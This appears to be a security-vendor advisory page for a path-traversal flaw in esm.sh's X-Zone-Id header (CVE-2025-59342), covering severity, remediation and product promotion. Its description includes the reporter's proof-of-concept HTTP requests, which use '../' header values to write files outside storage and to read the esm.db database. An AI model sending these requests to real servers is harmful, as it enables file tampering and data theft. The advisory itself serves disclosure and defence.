How severe is GHSA-g2h5-cvvr-7gmw?

No CVSS score has been assigned to GHSA-g2h5-cvvr-7gmw yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-g2h5-cvvr-7gmw?

GHSA-g2h5-cvvr-7gmw affects the following packages: github.com/esm-dev/esm.sh (Go). Ecosystems affected: Go.

How do I fix GHSA-g2h5-cvvr-7gmw?

Update github.com/esm-dev/esm.sh to 136.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g2h5-cvvr-7gmw is resolved across your whole dependency graph.

How do I detect GHSA-g2h5-cvvr-7gmw in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-g2h5-cvvr-7gmw if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-g2h5-cvvr-7gmw?

O3 pinpoints whether GHSA-g2h5-cvvr-7gmw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-g2h5-cvvr-7gmw actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-g2h5-cvvr-7gmw, including 1 documented proof-of-concept exploit on Exploit-DB. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-g2h5-cvvr-7gmw?

GHSA-g2h5-cvvr-7gmw has an EPSS (Exploit Prediction Scoring System) score of 2.8%, placing it in the 85th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-g2h5-cvvr-7gmw?

GHSA-g2h5-cvvr-7gmw is classified as CWE-24 (CWE-24). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

Is there exploit tooling available for GHSA-g2h5-cvvr-7gmw?

A Nuclei detection template exists for GHSA-g2h5-cvvr-7gmw, meaning automated scanners can fingerprint it. Public exploit tooling significantly increases real-world risk — prioritize patching and ensure detection coverage. Exploit tooling should only ever be used in isolated, authorized testing environments.

When was GHSA-g2h5-cvvr-7gmw published, and has it been updated?

GHSA-g2h5-cvvr-7gmw was published on September 17, 2025 and was last updated on February 3, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-g2h5-cvvr-7gmw

esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header

Also known asCVE-2025-59342GO-2025-3967

Published

Sep 17, 2025

Updated

Feb 3, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

EPSS Exploitation Probability

via FIRST.org ↗

2.8%probability of exploitation in next 30 days

Lower Risk85th percentile-3.62%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).

Severity: Medium

Component / Endpoint:

POST /transform — handling of X-Zone-Id header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411

Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

Proof of Concept (POC)

Request (attacker-supplied X-Zone-Id contains path traversal):

POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325

{
  "filename": "example2.js",
  "lang": "js",
  "code": "console.log('hello');",
  "importMap": {
    "imports": {
      "react": "https://esm.sh/react",
      "react-dom": "https://esm.sh/react-dom"
    }
  },
  "jsxImportSource": "react",
  "target": "es2022",
  "sourceMap": "external",
  "minify": true
}

Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.

This can be trigger with another path traversal request below

GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/

Remediation

Simply remove any .. in the X-Zone-Id header before actually process the file.

Credits

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/esm-dev/esm.sh`	all versions	136.1

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

EDB-52461webappsmultiple

esm-dev 136 - Path Traversal

by Byte Reaper · Dec 16, 2025

Exploit-DB Source

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/esm-dev/esm.sh to 136.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g2h5-cvvr-7gmw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-g2h5-cvvr-7gmw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-g2h5-cvvr-7gmw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`). **Severity:** Medium **Component / Endpoint:** `POST /transform`

O3 Security · Impact-Aware SCA

Is GHSA-g2h5-cvvr-7gmw in your dependencies?

O3 detects GHSA-g2h5-cvvr-7gmw across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works